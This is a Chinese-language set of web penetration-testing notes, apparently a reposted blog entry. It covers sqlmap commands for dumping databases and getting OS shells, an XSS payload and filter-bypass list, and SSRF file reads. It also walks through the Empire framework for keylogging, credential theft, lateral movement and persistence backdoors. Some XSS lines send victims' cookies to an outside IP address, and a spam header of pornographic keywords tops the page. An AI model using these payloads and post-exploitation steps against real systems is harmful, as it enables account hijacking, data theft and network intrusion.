日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

web安全攻防笔记

發(fā)布時(shí)間:2024/3/13 编程问答 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 web安全攻防笔记 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

1.SQLmap?

是一種開源的滲透測試工具,可以自動(dòng)檢測和利用SQL注入漏洞以及接入該數(shù)據(jù)庫的服務(wù)器。

支持的數(shù)據(jù)庫:MySQL,Oracle, PostgreSQL, SQL Server,? Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

(1)????? 安裝sqlmap前,需要先安裝Python3.X

Python Releases for Windows | Python.org

(2)????? 在環(huán)境變量path中,增加python3.x 安裝路徑

(3)????? 下載sqlmap并解壓縮:

地址:sqlmap: automatic SQL injection and database takeover tool

Python sqlmap.py -u?http://xxx.xxx.xxx/

Python sqlmap.py –help 查看幫助 borp

?sqlmap支持五種不同的注入模式:

  • UNION query SQL injection(可聯(lián)合查詢注入)
  • uError-based SQL injection(報(bào)錯(cuò)型注入)
  • uBoolean-based blind SQL injection(布爾型注入)
  • uTime-based blind SQL injection(基于時(shí)間延遲注入)
  • uStacked queries SQL injection(可多語句查詢注入)

2.sqlmap 常用命令參數(shù)

-u? /--url? 最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”

-m 從文本中獲取多個(gè)目標(biāo)掃描,但是每一個(gè)一個(gè)url. sqlmap -m urllist.txt

-r 從文件中加載HTTP請求,這樣的話就不需要再去設(shè)定cookie,POST數(shù)據(jù)….

--dbs 返回當(dāng)前連接的數(shù)據(jù)庫

--current-db 返回當(dāng)前網(wǎng)站數(shù)據(jù)庫的數(shù)據(jù)庫用戶

-D 指定數(shù)據(jù)庫系統(tǒng)的數(shù)據(jù)庫名

--tables 列舉數(shù)據(jù)庫表

-T 指定數(shù)據(jù)庫表名

--columns 列舉數(shù)據(jù)庫表中的字段

-C 指定數(shù)據(jù)庫表中的字段名

--dump 獲取整個(gè)表的數(shù)據(jù)

3.設(shè)置回顯等級

參數(shù): -v默認(rèn)為1

0 只顯示python錯(cuò)誤以及嚴(yán)重的信息

1 基本信息和警告信息

2 debug信息

3 注入的payload

(級別越高顯示信息越多)

?4同時(shí)顯示HTTP請求。

5同時(shí)顯示HTTP響應(yīng)頭。

6同事顯示HTTP響應(yīng)頁面。

--data 把數(shù)以post方式提交,sqlmap會(huì)像檢測GET參數(shù)一樣檢測POST過去的參數(shù)。

--cookie (用于區(qū)分用戶)

可能會(huì)有漏洞,當(dāng)web登錄時(shí),抓取數(shù)據(jù)包。

?4.設(shè)置HTTP數(shù)據(jù)包相關(guān)參數(shù)

HTTP User-Agent 頭

參數(shù):--random-agent 會(huì)從sqlmap/txt/user-agents.txt中隨機(jī)產(chǎn)生User-Agent頭。

sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs

sqlmap 檢查uesr-agent中的注入點(diǎn), level>=3才會(huì)去檢查user-agent頭是否存在注入漏洞

5.設(shè)定探測等級:--level

共有五個(gè)等級 默認(rèn)為1 sqlmap使用的payload可以在xml/payloads.xml中看到

--users 列數(shù)據(jù)庫管理用戶

--current-user 在數(shù)據(jù)庫中,目前連接的用戶

--is-dba 判斷當(dāng)前是否為管理,是的話返回true

--proxy 指定一個(gè)代理服務(wù)器? eg: -proxy?http://xxxxxx.8080

--os-shell 前提:需要網(wǎng)站的物理路徑,其次是需要有FIILE權(quán)限

?6.Sqlmap“六步”

第一步:判斷是否注是注入點(diǎn)

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標(biāo)鏈接)

檢測該網(wǎng)站是否存在漏洞?? 白色加粗字體為注入點(diǎn) 也就是攻擊對象

?

第二步:獲取數(shù)據(jù)庫

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標(biāo)鏈接)” –dbs

?

第三步:查看當(dāng)前應(yīng)用程序所用數(shù)據(jù)庫

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標(biāo)鏈接)”? --current-db

?

四:列出指定數(shù)據(jù)庫的所有表

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標(biāo)鏈接)” -D”security(目標(biāo)數(shù)據(jù)庫)”—tables

?

五:讀取指定表中的字段名稱

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標(biāo)鏈接)” -D”security”-T users –colunms

?

六:讀取指定字段內(nèi)容

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標(biāo)鏈接)” -D”security”-T users -C username,password –dump(dump=下載,脫庫)

?

?

判斷當(dāng)前數(shù)據(jù)庫用戶權(quán)限:

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目標(biāo)鏈接)” --is-dba

如果是TRUE? ,那么權(quán)限該用戶很大。

?

-roles 列出數(shù)據(jù)庫管理員角色

?如果當(dāng)前用戶有權(quán)限讀取包含所有用戶的表,輸入該命令會(huì)列舉出每個(gè)用戶的角色,

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles

?

-referer HTTPReferer頭

當(dāng)–level參數(shù)設(shè)定為3或3以上時(shí),會(huì)嘗試對HTTP Referer注入。可以使用referer命令來欺騙,如--referer https://mp.mysite.net

-sql-shell 運(yùn)行自定義的sql語句

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell

運(yùn)行任意操作系統(tǒng)命令:

選擇后臺語言

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami

?

--os-cmd=whoami

--os-shell

(以你的電腦為跳板,對局域網(wǎng)進(jìn)行滲透,或留后門)

--file-read 從數(shù)據(jù)庫服務(wù)器中讀取文件? :當(dāng)前用戶有權(quán)限使用特定的函數(shù)時(shí),讀取的文件可以是文本,也可以是二進(jìn)制文件。

上傳文件到數(shù)據(jù)庫服務(wù)器中:

--file-write

--file-dest

讀取指定數(shù)據(jù)庫用戶的密碼?

sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root

SQLMAP進(jìn)階 常用tamper腳本

??apostrophemask.py 將引號替換為utf-8,用于過濾單引號 (易容術(shù))

適用數(shù)據(jù)庫:ALL

作用:將引號替換為utf-8,用于過濾單引號

使用腳本前:tamper("1 AND '1'='1")

使用腳本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

??multiplespaces.py? 圍繞sql關(guān)鍵字添加多個(gè)空格 去繞過

適用數(shù)據(jù)庫:ALL

作用:圍繞sql關(guān)鍵字添加多個(gè)空格

使用腳本前:tamper('1 UNION SELECT foobar')

使用腳本后:1 UNION SELECT foobar

?

3. Burp Suite工具

一.配置及代理設(shè)置

1.使用前配置

①選擇代理Proxy選項(xiàng)卡

②選擇設(shè)置option選項(xiàng)卡

③Edit Running打勾? 124.0.0.1:8080

配置成功

歷史訪問

?

二.功能模塊講解

?

?

模塊介紹

send to spider 發(fā)送給爬蟲模塊

do a active scan 進(jìn)行一次主動(dòng)掃描

send to intruder 發(fā)送給爆破模塊

send to repearter 發(fā)送給重放模塊

send to comparer 發(fā)送給比對模塊

send to decoder 發(fā)送給解碼模塊

request in browser 將請求在瀏覽器重放

?四:MYSQL與SQL注入

mysql知識點(diǎn)- 基本查詢語句

  • 查詢表中全部信息: select *from 表明-關(guān)鍵的函數(shù)
  • select+以下語句

    ?????? version() 數(shù)據(jù)庫版本

    ?????? database() 數(shù)據(jù)庫名

    ?????? user() 用戶名

    ?????? current_user() 當(dāng)前用戶名

    ?????? system_user() 系統(tǒng)用戶名

    ?????? @@datadir 數(shù)據(jù)庫路徑

    ?????? @@version_compile_os 操作系統(tǒng)版本

    -order by(排序) 語法

    -聯(lián)合查詢

    order by 1—

    order by 2—確定字段數(shù)

    ?? 使用UNION操作符注入另外一個(gè)select查詢,并將查詢結(jié)果附加在第一次查詢結(jié)果之后。第二次查詢能夠從另外一個(gè)完全不同的數(shù)據(jù)庫表中提取數(shù)據(jù)

    ? 注意: 相同的列結(jié)構(gòu)

    ????????????? ?需要有知道表結(jié)構(gòu),列結(jié)構(gòu)

    ?????? exists()函數(shù)猜解表明

    ???????information_schema 是一個(gè)mysql系統(tǒng)自帶的元數(shù)據(jù)庫

    information_schema.SCHEMATA 查看所有的數(shù)據(jù)庫

    五、 XSS基礎(chǔ)

    1、什么是XSS?

    ?????? 中文名為跨站腳本攻擊,跨站腳本,(Cross-Site Scripting, XSS),當(dāng)目標(biāo)網(wǎng)站用戶在渲染HTML文檔的過程中,出現(xiàn)非預(yù)期的腳本指令并執(zhí)行時(shí),XSS就發(fā)生了。

    2、攻擊者給予應(yīng)用惡意XSS代碼,導(dǎo)致用戶訪問應(yīng)用或服務(wù)器時(shí)執(zhí)行代碼,導(dǎo)致被XSS攻擊。

    ? 攻擊者→服務(wù)器→用戶(xss是一種迫使Web站點(diǎn)回顯可執(zhí)行代碼的攻擊技術(shù),而這些可執(zhí)行代碼由攻擊者提供、最終為用戶瀏覽器加載)

    3、XSS的危害: 1.網(wǎng)絡(luò)釣魚,包括盜取各類用戶的賬號

    ??????????????????????????? 2.竊取用戶cookies資料,從而獲取用戶信息。

    ??????????????????????????? 3.獲取客戶端信息,IP/端口等

    ??????????????????????????? 4.劫持用戶瀏覽器會(huì)話,從而執(zhí)行任意操作

    ??????????????????????????? 5.強(qiáng)制彈出窗口。

    ??????????????????????????? 6.網(wǎng)頁掛馬,進(jìn)行惡意操作

    ??????????????????????????? 7.進(jìn)行大量的客戶端攻擊 如DDoS攻擊

    ??????????????????????????? 8.控制受害者機(jī)器向其他客戶端攻擊

    4、XSS分類??

    ①反射型 :非持久型,調(diào)取用戶cookie或者進(jìn)行釣魚,常常為通過引誘用戶點(diǎn)擊一個(gè)惡意鏈接來實(shí)施攻擊。

    特點(diǎn):

    ① 主要用于將惡意腳本附加到URL地址的參數(shù)中

    ② 只在用戶單擊url時(shí)觸發(fā),而且只執(zhí)行一次,非持久化

    ③常用來竊取客戶端 Cookies

    或進(jìn)行釣魚欺騙.

    ④常常為通過引誘用戶點(diǎn)擊一

    個(gè)惡意鏈接來實(shí)施攻擊的)

    name為可控參數(shù)

    ?

    我們可以通過執(zhí)行惡意代碼彈窗,那么也能做些對我們有利的事情。

    ?????? 當(dāng)我們構(gòu)造好了如下惡意代碼,發(fā)送給受害者。

    <script>alert(document.cookie)</script>

    ?????? 將會(huì)彈出用戶的cookie值,我們構(gòu)造js代碼,將該cookie值發(fā)送至我們自己的服務(wù)器,或者用XSS平臺接收該cookie(例如https://xsshs.cn/),我們就能通過該cookie非法登錄受害者的賬戶。

    • 利用XSS彈出惡意警告框

    ??? <script>alert('hacked by cl4y')</script>

    • ?網(wǎng)頁不停刷新

    <meta http-equiv= 'refresh' content= '0' > http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=<meta httpequiv= 'refresh' content= '0' >

    • 獲得cookie

    <script>window.location.href='http://118.25.14.40:8200/?cookie='+document.cookie</script>

    • 劫持流量(跳轉(zhuǎn)到你的博客強(qiáng)行吸粉)

    <script>window.location.href="http://www.cl4y.top";</script>

    ③dom型: 將XSS代碼嵌入dom文檔(每一個(gè)網(wǎng)頁),通過JS腳本對文檔對象進(jìn)行編輯從而修改頁面元素,增加漏洞。?

    ?xss平臺

    1.獲取COOKIE(這是必須的最基本的功能)

    2.獲取源碼(取當(dāng)前網(wǎng)頁的源碼)

    3.截圖(可自己修改為連續(xù)截圖)

    https://xss.pt

    https://xssaq.com

    • XSS利用——無任何過濾
      • <scirpt>
        <scirpt>alert(1);</script>
      • <img>
        <img src=1 οnerrοr=alert("xss");>???????? //onerror等事件,可以調(diào)用js
      • <input>
        <input οnfοcus="alert('xss');" autofocus>
      • <svg>
        <svg οnlοad=alert("xss");>
      • <iframe>
        <iframe οnlοad=alert("xss");></iframe>
        <iframe src=javascript:alert('xss');></iframe>????? //src中支持偽協(xié)議
      • <textarea>
        <textarea οnfοcus=alert("xss"); autofocus>
    • 往往用戶可控的參數(shù)都進(jìn)行了過濾,不會(huì)讓你用一個(gè)<script>標(biāo)簽就輕易攻擊成功

    <script>shellcode</script>

    XXS繞過:

    • 關(guān)鍵字繞過
      • 空格繞過
        • 用/代替空格 <img/src="x"/οnerrοr=alert("xss");>
        • 關(guān)鍵字繞過
          • 大小寫繞過? <ImG sRc=x onerRor=alert("xss");>
          • 利用其他標(biāo)簽
          • 雙寫關(guān)鍵字? <imimgg srsrcc=x οnerrοr=alert("xss");>
          • 字符拼接????? <img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
            ???????????? <script>top["al"+"ert"](`xss`);</script>
            ????????????
          • 利用函數(shù)進(jìn)行編碼繞過
            • Unicode繞過
              <img src="x" οnerrοr="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> 利用函數(shù)進(jìn)行編碼繞過
            • ASCII碼
              <img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
            • Hex繞過
              <img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
            • Base64編碼
              <img src="x" οnerrοr="eval(atob('YWxlcnQoJ3hzcycp'))">
              <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">????????????
    • 過濾括號
      • 當(dāng)括號被過濾的時(shí)候可以使用throw來繞過
        <svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';"> //異常處理
      • 反引號
        <img src=x οnerrοr=alert`1`>
    • 過濾雙引號,單引號
      • 反引號
        <img src=1 οnerrοr=alert`1`;>
    • js事件
      • 當(dāng)某個(gè)位置的可控點(diǎn)在一個(gè)標(biāo)簽內(nèi),那么或許可以通過js事件來完成xss操作
    • <img src=1 οnerrοr=alert`1`;>

    ?

    • 混淆:
      利用html標(biāo)簽格式的不嚴(yán)格、容錯(cuò)性。
      • 關(guān)鍵字中加空格
      • 加TAB
      • 回車

    url編碼
    <img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
    <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

    六.Cref漏洞

    1,漏洞介紹:? 一種對網(wǎng)站的惡意使用。與 xss相比不大流行(因此對其防范相當(dāng)稀少,比xss更加具有危險(xiǎn)性。

    ?? 原理:利用目標(biāo)用戶身份,以目標(biāo)用戶名義執(zhí)行非法操作(以目標(biāo)用戶名義發(fā)郵件,消息,盜取目標(biāo)賬號,購買商品,虛擬貨幣轉(zhuǎn)賬等),會(huì)泄露目標(biāo)用戶的財(cái)產(chǎn)安全。

    ????? Ps:(CSRF漏洞經(jīng)常用來制作蠕蟲攻擊,刷SEO流量)

    靶場實(shí)戰(zhàn):漏洞分析:

    ??????????? :

    ?

    Ssrf漏洞:是一種由攻擊者構(gòu)造請求,由服務(wù)器發(fā)起請求的安全漏洞。與csrf最大的區(qū)別是一個(gè)是服務(wù)器,一個(gè)是由客戶端發(fā)起的。

    在域名后增加url=語句,從而利用ssrf漏洞篡改腳本訪問的地址。

    攻擊方式如下:

    A,對外網(wǎng),服務(wù)器所在的內(nèi)網(wǎng),本地進(jìn)行端口掃描,獲取的banner信息。

    B,攻擊運(yùn)行在內(nèi)網(wǎng)或本地的應(yīng)用程序。

    C,對內(nèi)網(wǎng)web應(yīng)用進(jìn)行指紋識別,識別企業(yè)內(nèi)部的資產(chǎn)信息。

    D.攻擊內(nèi)外網(wǎng)的web應(yīng)用,主要是用HTTP請求就可以實(shí)現(xiàn)的攻擊(比如struts2,sqli

    等等)

    E,利用file協(xié)議讀取本地文件。

    ?SSRF漏洞利用:

    測試地址:http://127.0.0.1.1/ssrf.php?Url=http:127.0.0.7/2.php

    頁面ssrf.php實(shí)現(xiàn)的功能獲取GET參數(shù)URL,然后將url的內(nèi)容返回網(wǎng)頁上。

    如果將請求的網(wǎng)址篡改為http://www.baidu.com,則會(huì)顯示http://www.baidu.com的網(wǎng)頁內(nèi)容,但是,當(dāng)設(shè)置參數(shù)URL為內(nèi)網(wǎng)地址時(shí),則會(huì)泄露內(nèi)網(wǎng)信息。

    訪問ssrf.php?Url=file://C:/wwindows/win.ini即可讀取本地文件。

    ?

    Ssrf漏洞修復(fù)建議:

  • ,限制請求的端口只能為web端口,只允許訪問HTTP和HTTPS的請求。
  • 限制不能訪問的內(nèi)網(wǎng)ip,以防止對內(nèi)網(wǎng)進(jìn)行攻擊。
  • 屏蔽返回的詳細(xì)信息。
  • 七,Empire

    Empire是一款針對Windows平臺的、使用Powershell腳本作為攻擊載荷的滲透攻擊框架工具,具有從stager生成、提權(quán)到滲透維持的一系列功能。Empire實(shí)現(xiàn)了無需powshell.exe就可運(yùn)行Powershell代理的功能,還可以快速在后期部署漏洞利用模塊,其內(nèi)置模塊有鍵盤記錄、Mimikatz、繞過UAC、內(nèi)網(wǎng)掃描等,使用能夠躲避內(nèi)網(wǎng)檢測和大部分安全防護(hù)工具的查殺,簡單來說就有點(diǎn)類似Metasploit,是一個(gè)基于PowerShell的遠(yuǎn)程控制木馬。

    Empire運(yùn)行在linux平臺上

    官方下載地址,不過很久沒有更新,需要Python 2.6/2.7環(huán)境

    https://github.com/EmpireProject/Empire

    KALI示例:?????

    git clone https://github.com/EmpireProject/Empire.git

    ?

    然后安裝Empire的依賴,命令如下

    cd Empire

    cd setup

    pip install -r requirements.txt(若沒有安裝pip庫,則需要先通過apt-get install pip進(jìn)行安裝)

    ./install.sh

    在安裝完依賴以后,返回上一級文件,啟動(dòng)Empire工具,命令如下:

    cd ..

    ./empire

    ? 若啟動(dòng)失敗,則可能是因?yàn)橐蕾囄赐耆惭b好,只需要手動(dòng)通過pip install xxx安裝未安裝好的依賴即可。

    啟動(dòng)時(shí)如果遇到如下報(bào)錯(cuò)

    ?

    可以將urllib3版本降級

    pip install urllib3==1.22

    重新設(shè)定

    bash reset.sh

    基本使用會(huì)涉及如下內(nèi)容:

    1.幫助文檔

    2.設(shè)置監(jiān)聽

    3.生成木馬

    4.連接主機(jī)和基本使用

    5.信息收集

    6.權(quán)限提升

    幫助文檔

    ?運(yùn)行Empire后,輸入help命令查看具體的使用幫助。

    ?

    設(shè)置監(jiān)聽步驟如下:

    listeners #進(jìn)入監(jiān)聽線程界面

    uselistener #設(shè)置監(jiān)聽模式

    info #查看具體參數(shù)設(shè)置

    set #設(shè)置相應(yīng)參數(shù)

    execute #開始監(jiān)聽

    輸入Listeners命令進(jìn)入監(jiān)聽界面,按TAB鍵可以補(bǔ)全命令,按兩次TAB鍵或者h(yuǎn)elp可以顯示可以利用的模塊

    輸入uselistener來設(shè)置采用何種監(jiān)聽模式,雙擊TAB可以看到有以下可以使用的模式。

    ?

    設(shè)置監(jiān)聽

    這里采用http監(jiān)聽模式,輸入uselistener http。

    然后輸入info命令查看具體參數(shù)設(shè)置。其中Require為True的值都需要被設(shè)置。

    ?

    通過set配置參數(shù),并提供execeute執(zhí)行,需要注意的是Empire不同于Metasploit,Empire命令是區(qū)分大小寫的

    通過back返回上一級,使用listeners或者list可以查看所設(shè)置的監(jiān)聽器

    生成木馬

    輸入usestager后 空格加TAB鍵 查看可以設(shè)置的木馬模式

    木馬就類似Metasploit中的payload,其中multi為通用模塊,osx是Mac操作系統(tǒng)的模塊,剩下的是Windows的模塊。

    我們以 windows/launcher_bat為例,給大家說下過程,其他的使用都類似

    要使用launcher_bat,首先輸入usestager windows/launcher_bat,然后輸入info命令查看詳細(xì)參數(shù)

    ?

    通過set配置參數(shù),我們需要設(shè)置一個(gè) Listener 參數(shù),即監(jiān)聽的名字(前面我們給監(jiān)聽起得一個(gè)名字test1),通過execeute執(zhí)行,

    文件會(huì)生成到 tmp 目錄下,如下所示在目標(biāo)主機(jī)上運(yùn)行生成的launcher.bat,輸入 agents 可以查看已經(jīng)獲得的會(huì)話

    ?

    我們再介紹另一種生成木馬方式:launcher

    如果只需要簡單的powershell 代碼,在設(shè)置完相應(yīng)的參數(shù)后,可直接在監(jiān)聽器(listeners)中輸入命令 launcher <language> <Listener Name> 生成base64編碼的代碼

    然后復(fù)制生成的payload 在目標(biāo)機(jī)器上執(zhí)行

    可以看到有會(huì)話生成,輸入 agents 可以查看已經(jīng)獲得的會(huì)話

    連接主機(jī)和基本使用

    ?在目標(biāo)主機(jī)反彈成功以后,可以通過agents命令列出當(dāng)前已連接的主機(jī),這里要注意如果有帶有(*)的是已提權(quán)成功的主機(jī)。

    然后使用interact命令連接主機(jī),可以使用Tab鍵補(bǔ)全主機(jī)的名稱,連接成功以后可以通過rename修改會(huì)話名稱

    可以通過help查看可以使用的命令

    輸入help agentcmds可以查看可供使用的常用命令輸入help agentcmds可以查看可供使用的常用命令可以通過pwd查看當(dāng)前目錄

    upload可以上傳文件,通過cat查看文件內(nèi)容

    使用某些CMD命令時(shí),要使用“shell+命令的形式” ,如下

    ?

    Empire主要用于后滲透。所以信息收集是比較常用的一個(gè)模塊,可以使用searchmodule命

    令搜索需要使用的模塊,這里通過鍵如usemodule collection然后按Tab查看完整的列表

    1.屏幕截圖

    ?輸入以下命令,然后執(zhí)行即可

    ?2.鍵盤記錄

    ?輸入以下命令usemodule collection/keylogger,通過info可以查看詳細(xì)信息,execute執(zhí)行

    ???? 可以通過jobs kill JOB_name停止鍵盤記錄

    3.ARP掃描

    Empire也內(nèi)置了ARP掃描模塊,輸入以下命令即可使用該模塊,這里要設(shè)置Range參數(shù)

    ?4.查找域管登陸服務(wù)器IP

    在內(nèi)網(wǎng)滲透中,要想拿到內(nèi)網(wǎng)中某臺機(jī)器的域管權(quán)限,方法之一就是找到域管登錄的機(jī)器,然后橫向滲透進(jìn)去,竊取域管權(quán)限,從而拿下整個(gè)域,以下這個(gè)模塊就是用來查找域管登錄的機(jī)器的。

    使用模塊usemodule situational_awareness/network/powerview/user_hunter

    權(quán)限提升

    提權(quán),顧名思義就是提高自己在服務(wù)器中的權(quán)限,就比如在Windows中,你本身登陸的用戶是Guest,通過提權(quán)后,就會(huì)變成超級管理員,擁有了管理Windows的所有權(quán)限。以下是常見幾種提權(quán)方式:

    1.Bypass UAC

    UAC介紹

    UAC(UserAccount Control,用戶賬戶控制)簡言之就是在Vista及更高版本中通過彈框進(jìn)一步讓用戶確認(rèn)是否授權(quán)當(dāng)前可執(zhí)行文件來達(dá)到阻止惡意程序的目的。

    為了遠(yuǎn)程執(zhí)行目標(biāo)的exe或者bat可執(zhí)行文件繞過此安全機(jī)制,以此叫BypassUAC(不進(jìn)行彈窗直接運(yùn)行執(zhí)行文件)

    輸入以下命令,設(shè)置Listener參數(shù),運(yùn)行execute,會(huì)發(fā)現(xiàn)成功上線了一個(gè)新的反彈

    返回agents,通過list可以看到有一個(gè)新的會(huì)話,并且?guī)в?,說明提權(quán)成功。

    2.PowerUp

    ?Empire內(nèi)置了PowerUp的部分工具,用于系統(tǒng)提權(quán),主要有Windows錯(cuò)誤系統(tǒng)配置漏洞、Windows Services漏洞、AlwaysInstallElevated漏洞等8種提權(quán)方式,輸入以下命令,然后通過tab鍵查看完整列表

    查找系統(tǒng)中的漏洞,和PowerSploit下PowerUp中的Invoke-AllChecks模塊一樣,該模塊可以執(zhí)行所有腳本檢查系統(tǒng)漏洞

    我們可以通過BypassUAC進(jìn)行提權(quán)

    3.通過溢出漏洞

    本地溢出提權(quán)首先要有服務(wù)器的一個(gè)普通用戶權(quán)限,攻擊者通常會(huì)向服務(wù)器上傳本地溢出程序,在服務(wù)器端執(zhí)行,如果系統(tǒng)存在漏洞,那么將溢出Administrator權(quán)限。

    這里我們使用ms16-032來提權(quán),輸入以下命令即可通過溢出漏洞進(jìn)行提橫向滲透,就是在已經(jīng)攻占部分內(nèi)網(wǎng)主機(jī)的前提下,利用既有的資源嘗試獲取更多的憑據(jù)、更高的權(quán)限,進(jìn)而達(dá)到控制整個(gè)內(nèi)網(wǎng)、擁有最高權(quán)限、發(fā)動(dòng)類似 APT 的目的。

    在橫向滲透中,最先得到的主機(jī),以及之后新得到的主機(jī),會(huì)成為突破口、跳板。如同一個(gè)不斷擴(kuò)大的圓形,獲得的主機(jī)越多,圓能觸及之處越大,讓其周遭的「橫向」部分由未知成為已知。

    1.令牌竊取

    我們在獲取到服務(wù)器權(quán)限后,可以使用內(nèi)置mimikatz獲取系統(tǒng)密碼,執(zhí)行完畢后輸入creds命令查看Empire列舉的密碼。如下圖所示

    從這里發(fā)現(xiàn)有域用戶曾在此服務(wù)器上登錄,此時(shí)可以竊取域用戶身份,然后進(jìn)行橫向移動(dòng)

    首先先來竊取身份,使用命令pth<ID>,這里的ID號就是creds下的CredID號,我們這里來竊取administrator的身份令牌,執(zhí)行pth 7命令

    使用steal_token PID命令就竊取了該身份令牌了,如下圖所示。

    我們先嘗試訪問域內(nèi)另一臺主機(jī)WIN7-X86的“C$”,順利訪問,如下圖所示。

    輸入revtoself命令可以將令牌權(quán)限恢復(fù)到原來的狀態(tài)

    2.會(huì)話注入

    我們也可以使用usemodule management/psinject模塊來進(jìn)程注入,獲取權(quán)限,輸入info查看參數(shù)設(shè)置,如下圖所示。

    設(shè)置下Listeners和ProcID這2個(gè)參數(shù),這里的ProcID還是之前的CMD的1380,運(yùn)行后反彈回一個(gè)域用戶權(quán)限shell。

    3.Invoke-PsExec

    PsExec是我在Metasploit下經(jīng)常使用的模塊,還有pstools工具包當(dāng)中也有psexec,缺點(diǎn)是該工具基本殺毒軟件都能檢測到,并會(huì)留下日志,而且需要開啟admin$ 445端口共享。優(yōu)點(diǎn)是可以直接返回SYSTEM權(quán)限。這里我們要演示的是Empire下的Invoke-Psexec模塊。

    使用該模塊的前提是我們已經(jīng)獲得本地管理員權(quán)限,甚至域管理員賬戶,然后以此來進(jìn)一步持續(xù)滲透整個(gè)內(nèi)網(wǎng)。

    我們測試該模塊前看下當(dāng)前agents,只有一個(gè)IP為192.168.31.251,機(jī)器名為WIN7-64的服務(wù)器,如下圖所示。

    現(xiàn)在使用模塊usemodule lateral_movement/invoke_psexec滲透域內(nèi)另一臺機(jī)器WIN7-X86,輸入info查看設(shè)置參數(shù),如下圖所示。

    這里要設(shè)置下機(jī)器名和監(jiān)聽,輸入下列命令,反彈成功

    輸入agents命令查看當(dāng)前agents,多了一個(gè)IP為192.168.31.158,機(jī)器名為WIN7-X86的服務(wù)器

    攻擊者在獲取服務(wù)器權(quán)限后,通常會(huì)用一些后門技術(shù)來維持服務(wù)器權(quán)限,服務(wù)器一旦被植入后門,攻擊者如入無人之境。服務(wù)器重啟后,我們的后門程序仍能觸發(fā)繼續(xù)運(yùn)行。這里講一些window服務(wù)端常見的后門技術(shù)。

    1.權(quán)限持久性劫持shift后門

    shitf后門,其實(shí)就是使用了windows系統(tǒng)的粘滯鍵功能,當(dāng)連按5次shift鍵的時(shí)候就會(huì)啟動(dòng)粘滯鍵程序。然后后門程序替換掉這個(gè)程序,然后通過按5次就來啟動(dòng)后門。

    輸入命令usemodule lateral_movement/invoke_wmi_debuggerinfo模塊,可以輸入info查看參數(shù),set設(shè)置相關(guān)參數(shù)

    運(yùn)行后,在目標(biāo)主機(jī)遠(yuǎn)程登錄窗口按5次shift即可觸發(fā)后門,有一個(gè)黑框一閃而過,如下圖所示

    這時(shí)看我們的Empire已經(jīng)有反彈代理上線

    2.注冊表注入后門

    使用usemodule persistence/userland/registry模塊,運(yùn)行后會(huì)在目標(biāo)主機(jī)啟動(dòng)項(xiàng)添加一個(gè)命令,可以輸入info查看信息

    按如下命令設(shè)置其中幾個(gè)參數(shù),如下圖所示。

    重啟目標(biāo)主機(jī),用戶登錄系統(tǒng)后,會(huì)有反彈會(huì)話生成

    在實(shí)際滲透中,當(dāng)拿到webshell上傳的Metasploit客戶端無法繞過目標(biāo)主機(jī)的殺軟時(shí),可以使用PowerShell來繞過,也可以執(zhí)行Empire的Payload來繞過,成功之后再用Empire的模塊將其反彈回Metasploit。

    首先在Metasploit我們使用multi/script/web_delivery模塊,輸入如下命令

    使用usemodule code_execution/invoke_metasploitpayload模塊,輸入info看下參數(shù),如下圖所示

    這里我們只需修改1個(gè)參數(shù)URL,

    修改為前面Metasploit生成的Using URL: http://192.168.199.129:8088/qJaa5sHBuNst5y

    按下列命令設(shè)置完畢,然后執(zhí)行

    Metasploit收到Empire反彈回來的shell,如下圖所示。

    文件上傳漏洞概述:在現(xiàn)代互聯(lián)網(wǎng)的我web應(yīng)用程序中,上傳文件是一種常見的功能,上傳文件的時(shí)候如果服務(wù)器腳本語言對上傳的文件進(jìn)行嚴(yán)格的過濾就有可能上傳惡意文件,從而控制整個(gè)網(wǎng)站,甚至是服務(wù)器。

    存在原因:傳文件時(shí),如果服務(wù)器代碼,對客戶端上傳的文件進(jìn)行驗(yàn)證和過濾,就容易造成可以上傳任意文件的情況,包括上傳腳本文件(asp,aspx,php,jsp等格式的文件)

